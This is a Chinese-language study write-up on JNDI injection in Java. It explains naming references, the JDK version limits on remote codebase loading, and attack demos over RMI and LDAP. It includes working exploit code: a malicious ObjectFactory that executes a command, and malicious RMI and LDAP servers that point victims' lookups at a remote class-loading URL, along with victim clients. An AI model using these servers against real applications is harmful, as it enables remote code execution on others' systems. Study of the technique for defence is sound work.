JNDI简介
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)包括Naming Service和Directory Service。它是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。
Naming Service:命名服务是将名称与值相关联的实体,称为"绑定"
Directory Service:是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联
JNDI 前置知识
InitialContext类
作用就是获取初始目录环境
InitialContext initialContext = new InitialContext();
常用方法也就RMI那几种是一样的
bind list lookup rebind unbind
但是呢JNDI可以动态协议转换,例如
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:9999");
Context context = new InitialContext(env);
context.bind("refObj", new RefObject());
context.lookup("refObj");
JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");
Reference类
为了在命名或目录服务中绑定Java对象,可以使用Java序列化传输对象,但是,并非总是通过序列化去绑定对象,因为它可能太大或不合适。为了满足这些需求,JNDI定义了命名引用,以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。
Reference可以使用工厂来构造对象。当使用lookup查找对象时,Reference将使用工厂提供的工厂类加载地址来加载工厂类,例如下面代码。
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
参数1:className
- 如果本地找不到这个类名,就去远程加载
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
使用ReferenceWrapper
类对Reference
类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。因为Reference
是没有有实现Remote
接口也没有继承 UnicastRemoteObject
类
当有客户端通过 lookup("obj")
获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,客户端会首先去本地的 CLASSPATH
去寻找被标识为 refClassName
的类,如果本地未找到,则会去请求 http://127.0.0.1:8000/test.class
加载工厂类。
JNDI注入原理及其版本限制
JNDI注入就是远程对象访问可控,Reference远程加载Object Factory类的特性从而造成代码执行。
他不同于RMI,RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。
JNDI的话在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类
而LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制但是 在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
借用@啦啦0咯咯师傅的图
例如:利用本地Class作为Reference Factory绕过8u191高版本JDK限制:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://threedr3am.github.io/2020/03/03/搞懂RMI、JRMP、JNDI-终结篇/#三、jdk版本-gt-jdk8u191
JNDI+RMI
有了以上的了解,我们攻击过程当然也就不难的,但需要注意的是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。这里以JDK 8u31演示
恶意的test类
因为我们实例化后需要转换为ObjectFactory(ObjectFactory) clas.newInstance()
。所以要我们的类继承该类【具体流程这里不再阐述,有兴趣的可以跟下源代码】
public class test implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception,IOException{
return Runtime.getRuntime().exec("calc");
}
}
恶意的Server
public class server {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
受害者Client
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
LDAP简介
LDAP轻量目录访问协议是一种目录服务协议,运行在TCP/IP堆栈之上LDAP,目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库可以拿Mysql对比。
-
同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作
-
相对于mysql的表型存储;不同的是LDAP使用树型存储,因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。
概念:
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)
- 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性,在后面的利用中会用到这些属性
树的层次:
- dn:一条记录的详细位置,由以下几种属性组成
- dc: 一条记录所属区域
- ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
- cn:一条记录的名字
- uid: 树的叶节点的编号
- sn: 姓
例如设置如下:
dn="uid=r0ser1_study,ou=java,dc=example,dc=com"
JNDI+LDAP
这里使用天融信阿尔法实验室的代码,恶意类还是上面那个。我们先去maven里面加载
恶意的Server
public class ldap_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#test"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
受害者Client
public class ldap_client {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://127.0.0.1:9999/test");
}
}
参考
建议阅读下面师傅们的文章,学习到了很多知识,记录不全。
https://xz.aliyun.com/t/7079
https://paper.seebug.org/1207/
https://xz.aliyun.com/t/6633#toc-7
https://paper.seebug.org/1091/#ldap_1
https://www.cnblogs.com/nice0e3/p/13958047.html
https://threedr3am.github.io/2020/03/03/%E6%90%9E%E6%87%82RMI%E3%80%81JRMP%E3%80%81JNDI-%E7%BB%88%E7%BB%93%E7%AF%87/